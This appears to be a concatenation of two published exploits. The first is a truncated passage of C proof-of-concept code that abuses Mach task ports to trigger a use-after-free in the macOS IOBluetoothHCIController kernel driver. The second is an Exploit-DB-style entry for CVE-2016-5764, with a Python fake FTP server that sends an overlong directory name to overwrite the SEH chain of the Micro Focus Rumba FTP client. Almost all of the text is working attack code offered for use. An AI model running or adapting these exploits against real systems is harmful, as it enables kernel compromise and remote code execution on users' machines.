                           MACH_PORT_RIGHT_RECEIVE,
                           &shared_port_parent);

  MACH_ERR("allocating shared port", err);

  // insert the send right
  err = mach_port_insert_right(mach_task_self(),
                               shared_port_parent,
                               shared_port_parent,
                               MACH_MSG_TYPE_MAKE_SEND);
  MACH_ERR("inserting MAKE_SEND into shared port", err);

  // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
  MACH_ERR("setting special port", err);
}

mach_port_t recover_shared_port_child() {
  kern_return_t err;

  // grab the shared port which our parent stashed somewhere in the special ports
  mach_port_t shared_port_child = MACH_PORT_NULL;
  err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
  MACH_ERR("child getting stashed port", err);

  LOG("child got stashed port");

  // say hello to our parent and send a reply port so it can send us back the special port to restore

  // allocate a reply port
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  MACH_ERR("child allocating reply port", err);

  // send the reply port in a hello message
  simple_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = shared_port_child;

  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);

  err = mach_msg_send(&msg.header);
  MACH_ERR("child sending task port message", err);

  LOG("child sent hello message to parent over shared port");

  // wait for a message on the reply port containing the stolen port to restore
  port_msg_rcv_t stolen_port_msg = {0};
  err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  MACH_ERR("child receiving stolen port\n", err);

  // extract the port right from the message
  mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
  if (stolen_port_to_restore == MACH_PORT_NULL) {
    FAIL("child received invalid stolen port to restore");
  }

  // restore the special port for the child
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
  MACH_ERR("child restoring special port", err);

  LOG("child restored stolen port");
  return shared_port_child;
}

mach_port_t recover_shared_port_parent() {
  kern_return_t err;

  // restore the special port for ourselves
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
  MACH_ERR("parent restoring special port", err);

  // wait for a message from the child on the shared port
  simple_msg_rcv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 shared_port_parent,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  MACH_ERR("parent receiving child hello message", err);

  LOG("parent received hello message from child");

  // send the special port to our child over the hello message's reply port
  port_msg_send_t special_port_msg = {0};

  special_port_msg.header.msgh_size        = sizeof(special_port_msg);
  special_port_msg.header.msgh_local_port  = MACH_PORT_NULL;
  special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
  special_port_msg.header.msgh_bits        = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
  special_port_msg.body.msgh_descriptor_count = 1;

  special_port_msg.port.name        = saved_special_port;
  special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  special_port_msg.port.type        = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&special_port_msg.header);
  MACH_ERR("parent sending special port back to child", err);

  return shared_port_parent;
}

/*** end of port dancer code ***/

void do_child(mach_port_t shared_port) {
  kern_return_t err;

  // create a reply port to receive an ack that we should exec the target
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  MACH_ERR("child allocating reply port", err);

  // send our task port to our parent over the shared port
  port_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = shared_port;
  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;

  msg.body.msgh_descriptor_count = 1;

  msg.port.name = mach_task_self();
  msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&msg.header);
  MACH_ERR("child sending task port message", err);

  LOG("child sent task port back to parent");

  // spin and let our parent kill us
  while(1){;}
}

mach_port_t do_parent(mach_port_t shared_port) {
  kern_return_t err;

  // wait for our child to send us its task port
  port_msg_rcv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 shared_port,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  MACH_ERR("parent receiving child task port message", err);

  mach_port_t child_task_port = msg.port.name;
  if (child_task_port == MACH_PORT_NULL) {
    FAIL("invalid child task port");
  }

  LOG("parent received child's task port");

  return child_task_port;
}

io_connect_t get_connection(mach_port_t task_port) {
  kern_return_t err;
  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == MACH_PORT_NULL) {
    printf("unable to get service\n");
    return MACH_PORT_NULL;
  }

  io_connect_t conn = MACH_PORT_NULL;

  err = IOServiceOpen(service, task_port, 0, &conn); // 1 = IOBluetoothHCIUserClient
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    conn = MACH_PORT_NULL;
  }
  IOObjectRelease(service);

  return conn;   
}

void trigger(int child_pid, mach_port_t child_task_port) {
  kern_return_t err;
  // get the userclient passing the child's task port
  io_connect_t conn = get_connection(child_task_port);
  if (conn == MACH_PORT_NULL){
    printf("unable to get connection\n");
    return;
  }

  printf("got user client\n");

  // drop our ref on the child_task_port
  mach_port_deallocate(mach_task_self(), child_task_port);

  // kill the child, free'ing its task struct
  kill(child_pid, 9);
  int status;
  wait(&status);

  printf("killed child\n");

  // make an external method call which will use that free'd task struct
  char struct_input[0x74] = {0};

  //+0x70 dword = index into sroutines
  //+0x38 dword = size of first argument
  //+0x0 qword = pointer to first argument
  struct_input[0x38] = 0x80;
  *(uint64_t*)(&struct_input[0]) = 0x414141414141;

  err = IOConnectCallMethod(conn,
                            0,
                            NULL,
                            0,
                            struct_input,
                            0x74,
                            NULL,
                            NULL,
                            NULL,
                            NULL);
  MACH_ERR("making external method call", err);
  
}

int main(int argc, char** argv) {
  setup_shared_port();

  pid_t child_pid = fork();
  if (child_pid == -1) {
    FAIL("forking");
  }

  if (child_pid == 0) {
    mach_port_t shared_port_child = recover_shared_port_child();
    do_child(shared_port_child);
  } else {
    mach_port_t shared_port_parent = recover_shared_port_parent();
    mach_port_t child_task_port = do_parent(shared_port_parent);
    trigger(child_pid, child_task_port);
  }

  return 0;
}
            
# Exploit Title: Rumba FTP 4.x Client Stackoverflow SEH
# Date: 29-10-2016
# Exploit Author: Umit Aksu
# Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28731.rumba-ftp-4-x-security-update.aspx
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40307
# Version: 4.x
# Tested on: Windows 7
# CVE : CVE-2016-5764
 


1.  Description

Micro Focus Rumba FTP Client 4.x cannt handle long directory names. An attacker can setup a malicious FTP server that can send a long directory name which can led to remote code execution 
on connected client.

2. Proof of Concept

The code below can be used to setup a malicious FTP server that will send a long directory name and overwrite the stack. The PoC only overwrites the SEH + NSEH.


3. PoC Code


------------------- Server.py --------------------------


import socket
import sys
import time

# IP Address
IP = '127.0.0.1' \
     ''
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to the port
server_address = (IP,21)
print "Starting up on %s port %s" % server_address
sock.bind(server_address)

# Listen for incoming connections
sock.listen(1)

# Wait for incoming connection
while True:
    print "Waiting for a connection"
    connection, client_address = sock.accept()

    try:
        print "Connection from " + str(client_address)
        # Receive the data in small chunks and restransmit it
        connection.send("220 Welcome\r\n")

        while(True):
            data = connection.recv(16)
            print "received %s" % data
            if "USER" in data:
                print "Sending 331"
                connection.send("331 Please specify the password.\r\n")
            if "PASS" in data:
                print "Sending 227"
                connection.send("230 Login successful.\n\n")
            if "PWD" in data:
                print "Sending 257"

                # 77A632E2 add esp,908 pop pop pop ret
                # THIS IS THE PART WHERE THE OVERFLOW HAPPENS
                connection.send("257 \"/"+"A"*629+"\x45\x45\x45\x45"+ "\x44\x44\x44\x44" + "D"*185 + "rrrr" + "D"*211 + "\"\r\n")
            if "TYPE A" in data:
                print "Sending 200 Switching to ASCII mode."
                connection.send("200 Switching to ASCII mode.\r\n")
            if "TYPE I" in data:
                print "Sending 200 Switching to Binary mode."
                connection.send("200 200 Switching to Binary mode.\r\n")
            if "SYST" in data:
                print "Sending 215"
                connection.send("215 UNIX Type: L8\r\n")

            if "SIZE" in data:
                print "Sending 200"
                connection.send("200 Switching to Binary mode. \r\n")

            if "FEAT" in data:
                print "Sending 211-Features"
                connection.send("211-Features:\r\n EPRT\r\n EPSV\r\n MDTM\r\n PASV\r\n REST STREAM\r\n SIZE\r\n TVFS\r\n211 End\r\n")
            if "CWD" in data:
                print "Sending 250 Directory successfully changed."
                connection.send("250 Directory successfully changed.\r\n")

            if "PASV" in str(data):
                print "Sending 227 Entering Passive Mode (130,161,45,252,111,183)\n\n"
                connection.send("227 Entering Passive Mode (130,161,45,252,111,183)\n\n")

                # Listen on new socket for connection
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                print 'Socket created'

                #Bind socket to local host and port
                try:
                    s.bind((IP, 28599))
                except socket.error as msg:
                    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
                    sys.exit()

                print 'Socket bind complete for PASV on port 28599'

                #Start listening on socket
                s.listen(10)
                print 'Socket now listening on 28599'

                #now keep talking with the client

                #wait to accept a connection - blocking call
                conn, addr = s.accept()
                print 'Connected with ' + addr[0] + ':' + str(addr[1])
                time.sleep(1)
                print "Sending dir list"
                connection.send("150 Here comes the directory listing.\r\n")
                conn.send("d"*500+"rwx------    2 500      500          4096 Nov 05  2007 " + "A." + "B"*500 +  "\r\n")

                # Send ok to ftp client
                connection.send("226 Directory send OK.\r\n")

                # close the connection
                s.close()
                conn.close()
                break

            if "EXIT" in str(data):
                print "REC"
                connection.send("Have a nice day!\r\n")
                break
    finally:
        connection.close()